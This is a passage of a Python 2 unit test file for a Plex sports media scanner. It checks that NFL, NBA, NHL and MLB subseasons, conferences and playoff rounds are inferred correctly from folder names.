("National Football Conference", PlexSportsScanner.NFL.NFL_CONFERENCE_NFC),
("AFC", PlexSportsScanner.NFL.NFL_CONFERENCE_AFC),
("NFC", PlexSportsScanner.NFL.NFL_CONFERENCE_NFC),
("AnythingElse", None)
]:
try:
# Arrange
relPath = r"NFL\2018\Playoffs\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_CONFERENCE_KEY, expected)
except Exception, e:
self.fail(e.message)
class WhenReadingNFLPlayoffRoundFromFolderStructure(WhenReadingFolderStructure):
# TODO: Answer cache
def test_IfSubseasonIsNotPlayoffRound_ShouldHavePlayoffRoundFilledOut(self):
for (prefix, expected, round) in [
("AFC Wildcard Round", "AFC Wildcard Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD),
("NFC Wildcard Round", "NFC Wildcard Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD),
("AFC Wildcard", "AFC Wildcard", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD),
("NFC Wildcard", "NFC Wildcard", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD),
("Wildcard Round", "Wildcard Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD),
("Wildcard", "Wildcard", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_WILDCARD),
("AFC Divisional Round", "AFC Divisional Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION),
("NFC Divisional Round", "NFC Divisional Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION),
("AFC Division Playoffs", "AFC Division Playoffs", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION),
("NFC Division Playoffs", "NFC Division Playoffs", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION),
("Divisional Round", "Divisional Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION),
("Division Playoffs", "Division Playoffs", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_DIVISION),
("AFC Championship Round", "AFC Championship Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_CHAMPIONSHIP),
("NFC Championship Round", "NFC Championship Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_CHAMPIONSHIP),
("AFC Championship", "AFC Championship", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_CHAMPIONSHIP),
("NFC Championship", "NFC Championship", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_CHAMPIONSHIP),
("Championship Round", "Championship Round", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_CHAMPIONSHIP),
("Superbowl XXXIX", "Superbowl XXXIX", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL),
("Superbowl LII", "Superbowl LII", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL),
("Superbowl 40", "Superbowl 40", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL),
("Superbowl 23", "Superbowl 23", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL),
# TODO: Fix expression for superbowl without number
#("Superbowl", "Superbowl", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL),
#("Super bowl", "Super bowl", PlexSportsScanner.NFL.NFL_PLAYOFF_ROUND_SUPERBOWL),
("AnythingElse", None, None)
]:
try:
# Arrange
relPath = r"NFL\2018\Postseason\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, "Postseason")
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, PlexSportsScanner.NFL.NFL_SUBSEASON_FLAG_POSTSEASON)
assert_meta_value(meta, PlexSportsScanner.METADATA_PLAYOFF_ROUND_KEY, round)
assert_meta_value(meta, PlexSportsScanner.METADATA_EVENT_NAME_KEY, expected)
except Exception, e:
self.fail(e.message)
# NBA-Specific Tests
class WhenReadingNBASubseasonFromFolderStructure(WhenReadingFolderStructure):
def test_IfLeagueAndSeasonArePresent_ShouldHaveSubseasonInfoFilledOut(self):
for (prefix, expected, ind) in [
("Preseason", PlexSportsScanner.NBA.NBA_SUBSEASON_PRESEASON, PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_PRESEASON),
("Postseason", PlexSportsScanner.NBA.NBA_SUBSEASON_POSTSEASON, PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON),
("Playoffs", PlexSportsScanner.NBA.NBA_SUBSEASON_PLAYOFFS, PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON),
("Regular Season", PlexSportsScanner.NBA.NBA_SUBSEASON_REGULAR_SEASON, PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_REGULAR_SEASON),
("RegularSeason", "RegularSeason", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_REGULAR_SEASON),
("AnythingElse", None, None)
]:
try:
# Arrange
relPath = r"NBA\2018\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, ind)
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, expected)
except Exception, e:
self.fail(e.message)
# TODO: Answer cache
def test_IfSubseasonIsPlayoffRound_ShouldHavePlayoffRoundFilledOut(self):
for (prefix, expected, ind, round) in [
("Eastern Conference Quarterfinals", "Eastern Conference Quarterfinals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_QUARTERFINALS),
("Western Conference Quarterfinals", "Western Conference Quarterfinals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_QUARTERFINALS),
("East Quarterfinals", "East Quarterfinals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_QUARTERFINALS),
("West Quarterfinals", "West Quarterfinals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_QUARTERFINALS),
("Quarterfinals", "Quarterfinals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_QUARTERFINALS),
("Eastern Conference Finals", "Eastern Conference Finals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("Western Conference Finals", "Western Conference Finals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("Eastern Conference Semifinals", "Eastern Conference Semifinals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("Western Conference Semifinals", "Western Conference Semifinals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("East Semifinals", "East Semifinals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("West Semifinals", "West Semifinals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("Semifinals", "Semifinals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("Championship", "Championship", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_FINALS),
("Finals", "Finals", PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_FINALS),
("AnythingElse", None, None, None)
]:
try:
# Arrange
relPath = r"NBA\2018\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, expected)
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, ind)
assert_meta_value(meta, PlexSportsScanner.METADATA_PLAYOFF_ROUND_KEY, round)
assert_meta_value(meta, PlexSportsScanner.METADATA_EVENT_NAME_KEY, expected)
except Exception, e:
self.fail(e.message)
class WhenReadingNBAPlayoffRoundFromFolderStructure(WhenReadingFolderStructure):
# TODO: Answer cache
def test_IfSubseasonIsNotPlayoffRound_ShouldHavePlayoffRoundFilledOut(self):
for (prefix, expected, round) in [
("Eastern Conference Quarterfinals", "Eastern Conference Quarterfinals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_QUARTERFINALS),
("Western Conference Quarterfinals", "Western Conference Quarterfinals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_QUARTERFINALS),
("East Quarterfinals", "East Quarterfinals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_QUARTERFINALS),
("West Quarterfinals", "West Quarterfinals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_QUARTERFINALS),
("Quarterfinals", "Quarterfinals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_QUARTERFINALS),
("Eastern Conference Finals", "Eastern Conference Finals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("Western Conference Finals", "Western Conference Finals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("Eastern Conference Semifinals", "Eastern Conference Semifinals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("Western Conference Semifinals", "Western Conference Semifinals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("East Semifinals", "East Semifinals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("West Semifinals", "West Semifinals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("Semifinals", "Semifinals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_SEMIFINALS),
("Championship", "Championship", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_FINALS),
("Finals", "Finals", PlexSportsScanner.NBA.NBA_PLAYOFF_ROUND_FINALS),
("AnythingElse", None, None)
]:
try:
# Arrange
relPath = r"NBA\2018\Playoffs\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, "Playoffs")
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, PlexSportsScanner.NBA.NBA_SUBSEASON_FLAG_POSTSEASON)
assert_meta_value(meta, PlexSportsScanner.METADATA_PLAYOFF_ROUND_KEY, round)
assert_meta_value(meta, PlexSportsScanner.METADATA_EVENT_NAME_KEY, expected)
except Exception, e:
self.fail(e.message)
class WhenReadingNBAPostseasonConferenceFromFolderStructure(WhenReadingFolderStructure):
def test_IfLeagueAndSeasonArePresent_ShouldHaveConferenceInfoFilledOut(self):
for (prefix, expected) in [
("Eastern Conference", PlexSportsScanner.NBA.NBA_CONFERENCE_EAST),
("Western Conference", PlexSportsScanner.NBA.NBA_CONFERENCE_WEST),
("East", PlexSportsScanner.NBA.NBA_CONFERENCE_EAST),
("West", PlexSportsScanner.NBA.NBA_CONFERENCE_WEST),
("AnythingElse", None)
]:
try:
# Arrange
relPath = r"NBA\2018\Postseason\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_CONFERENCE_KEY, expected)
except Exception, e:
self.fail(e.message)
# NHL-Specific Tests
class WhenReadingNHLSubseasonFromFolderStructure(WhenReadingFolderStructure):
def test_IfLeagueAndSeasonArePresent_ShouldHaveSubseasonInfoFilledOut(self):
for (prefix, expected, ind) in [
("Preseason", PlexSportsScanner.NHL.NHL_SUBSEASON_PRESEASON, PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_PRESEASON),
("Postseason", PlexSportsScanner.NHL.NHL_SUBSEASON_POSTSEASON, PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON),
("Playoffs", PlexSportsScanner.NHL.NHL_SUBSEASON_PLAYOFFS, PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON),
("Regular Season", PlexSportsScanner.NHL.NHL_SUBSEASON_REGULAR_SEASON, PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_REGULAR_SEASON),
("RegularSeason", "RegularSeason", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_REGULAR_SEASON),
("Stanley Cup", PlexSportsScanner.NHL.NHL_SUBSEASON_STANLEY_CUP, PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON),
("Stanley Cup Playoffs", "Stanley Cup Playoffs", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON),
("Stanleycup", "Stanleycup", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON),
("AnythingElse", None, None)
]:
try:
# Arrange
relPath = r"NHL\2018\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, ind)
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, expected)
except Exception, e:
self.fail(e.message)
# TODO: Answer cache
def test_IfSubseasonIsPlayoffRound_ShouldHavePlayoffRoundFilledOut(self):
for (prefix, expected, ind, round) in [
("1st Round", "1st Round", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_1),
("First Round", "First Round", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_1),
("Round 1", "Round 1", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_1),
("2nd Round", "2nd Round", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_2),
("Second Round", "Second Round", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_2),
("Round 2", "Round 2", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_2),
("3rd Round", "3rd Round", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_3),
("Third Round", "Third Round", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_3),
("Round 3", "Round 3", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_3),
("Conference Finals", "Conference Finals", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_3),
("4th Round", "4th Round", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("Fourth Round", "Fourth Round", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("Round 4", "Round 4", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("Stanley Cup Finals", "Stanley Cup Finals", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("Stanley Cup Playoffs", "Stanley Cup Playoffs", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("Stanley Cup", "Stanley Cup", PlexSportsScanner.NHL.NHL_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("AnythingElse", None, None, None)
]:
try:
# Arrange
relPath = r"NHL\2018\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, expected)
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, ind)
assert_meta_value(meta, PlexSportsScanner.METADATA_PLAYOFF_ROUND_KEY, round)
assert_meta_value(meta, PlexSportsScanner.METADATA_EVENT_NAME_KEY, expected)
except Exception, e:
self.fail(e.message)
class WhenReadingNHLPlayoffRoundFromFolderStructure(WhenReadingFolderStructure):
# TODO: Answer cache
def test_IfSubseasonIsNotPlayoffRound_ShouldHavePlayoffRoundFilledOut(self):
for (prefix, expected, round) in [
("1st Round", "1st Round", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_1),
("First Round", "First Round", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_1),
("Round 1", "Round 1", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_1),
("2nd Round", "2nd Round", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_2),
("Second Round", "Second Round", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_2),
("Round 2", "Round 2", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_2),
("3rd Round", "3rd Round", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_3),
("Third Round", "Third Round", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_3),
("Round 3", "Round 3", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_3),
("Conference Finals", "Conference Finals", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_3),
("4th Round", "4th Round", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("Fourth Round", "Fourth Round", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("Round 4", "Round 4", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("Stanley Cup Finals", "Stanley Cup Finals", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("Stanley Cup Playoffs", "Stanley Cup Playoffs", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("Stanley Cup", "Stanley Cup", PlexSportsScanner.NHL.NHL_PLAYOFF_ROUND_STANLEY_CUP),
("AnythingElse", None, None)
]:
try:
# Arrange
relPath = r"NHL\2018\Playoffs\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, "Playoffs")
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON)
assert_meta_value(meta, PlexSportsScanner.METADATA_PLAYOFF_ROUND_KEY, round)
assert_meta_value(meta, PlexSportsScanner.METADATA_EVENT_NAME_KEY, expected)
except Exception, e:
self.fail(e.message)
# MLB-Specific Tests
class WhenReadingMLBSubseasonFromFolderStructure(WhenReadingFolderStructure):
def test_IfLeagueAndSeasonArePresent_ShouldHaveSubseasonInfoFilledOut(self):
for (prefix, expected, ind) in [
("Preseason", PlexSportsScanner.MLB.MLB_SUBSEASON_PRESEASON, PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_PRESEASON),
("Spring Training", PlexSportsScanner.MLB.MLB_SUBSEASON_SPRING_TRAINING, PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_PRESEASON),
("Postseason", PlexSportsScanner.MLB.MLB_SUBSEASON_POSTSEASON, PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON),
("Playoffs", PlexSportsScanner.MLB.MLB_SUBSEASON_PLAYOFFS, PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON),
("Regular Season", PlexSportsScanner.MLB.MLB_SUBSEASON_REGULAR_SEASON, PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_REGULAR_SEASON),
("RegularSeason", "RegularSeason", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_REGULAR_SEASON),
("AnythingElse", None, None)
]:
try:
# Arrange
relPath = r"MLB\2018\%s\foo@bar.mp4" % prefix
file = r"%s\%s" % (rootDir, relPath)
meta = dict()
# Act
PlexSportsScanner.Metadata.Infer(relPath, file, meta)
# Assert
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_INDICATOR_KEY, ind)
assert_meta_value(meta, PlexSportsScanner.METADATA_SUBSEASON_KEY, expected)
except Exception, e:
self.fail(e.message)
# TODO: Answer cache
def test_IfSubseasonIsPlayoffRound_ShouldHavePlayoffRoundFilledOut(self):
for (prefix, expected, ind, round) in [
("American League Wildcard Round", "American League Wildcard Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("National League Wildcard Round", "National League Wildcard Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("American League Wildcard Series", "American League Wildcard Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("National League Wildcard Series", "National League Wildcard Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("American League Wildcard", "American League Wildcard", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("National League Wildcard", "National League Wildcard", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("AL Wildcard Round", "AL Wildcard Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("NL Wildcard Round", "NL Wildcard Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("AL Wildcard Series", "AL Wildcard Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("NL Wildcard Series", "NL Wildcard Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("AL Wildcard", "AL Wildcard", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("NL Wildcard", "NL Wildcard", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("Wildcard Round", "Wildcard Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("Wildcard Series", "Wildcard Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("Wildcard", "Wildcard", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_WILDCARD),
("American League Divisional Round", "American League Divisional Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("National League Divisional Round", "National League Divisional Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("American League Division Round", "American League Division Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("National League Division Round", "National League Division Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("American League Divisional Series", "American League Divisional Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("National League Divisional Series", "National League Divisional Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("American League Division Series", "American League Division Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("National League Division Series", "National League Division Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("American League Division Playoffs", "American League Division Playoffs", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("National League Division Playoffs", "National League Division Playoffs", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("AL Divisional Round", "AL Divisional Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NL Divisional Round", "NL Divisional Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("AL Division Round", "AL Division Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NL Division Round", "NL Division Round", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("AL Divisional Series", "AL Divisional Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NL Divisional Series", "NL Divisional Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("AL Division Series", "AL Division Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NL Division Series", "NL Division Series", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("AL Division Playoffs", "AL Division Playoffs", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NL Division Playoffs", "NL Division Playoffs", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("ALDS", "ALDS", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
("NLDS", "NLDS", PlexSportsScanner.MLB.MLB_SUBSEASON_FLAG_POSTSEASON, PlexSportsScanner.MLB.MLB_PLAYOFF_ROUND_DIVISION),
